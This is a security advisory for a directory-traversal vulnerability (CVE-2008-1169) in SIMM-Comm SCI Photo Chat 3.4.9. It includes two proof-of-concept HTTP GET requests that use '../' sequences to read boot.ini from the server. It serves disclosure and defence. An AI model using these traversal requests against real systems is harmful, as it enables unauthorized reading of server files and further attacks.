SIMM-Comm SCI Photo Chat Directory Traversal Vulnerability

Bugtraq ID:	27872
Class:	Input Validation Error
CVE:	CVE-2008-1169
Remote:	Yes
Local:	No
Published:	Feb 19 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	Luigi Auriemma discovered this issue.
Vulnerable:	SIMM-Comm SCI Photo Chat 3.4.9
Not Vulnerable:

SIMM-Comm SCI Photo Chat Directory Traversal Vulnerability

SCI Photo Chat is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects SCI Photo Chat 3.4.9 and prior versions.

SIMM-Comm SCI Photo Chat Directory Traversal Vulnerability

An attacker can exploit this issue via a browser.

The following proofs of concept are available:

GET /docs/..\..\..\..\..\boot.ini HTTP/1.0
GET /docs/../../../../../boot.ini HTTP/1.0

SIMM-Comm SCI Photo Chat Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

SIMM-Comm SCI Photo Chat Directory Traversal Vulnerability

References:

• SCI Photo Chat Home Page (SIMM-Comm)
  
• SCI Photo Chat Server (Luigi Auriemma)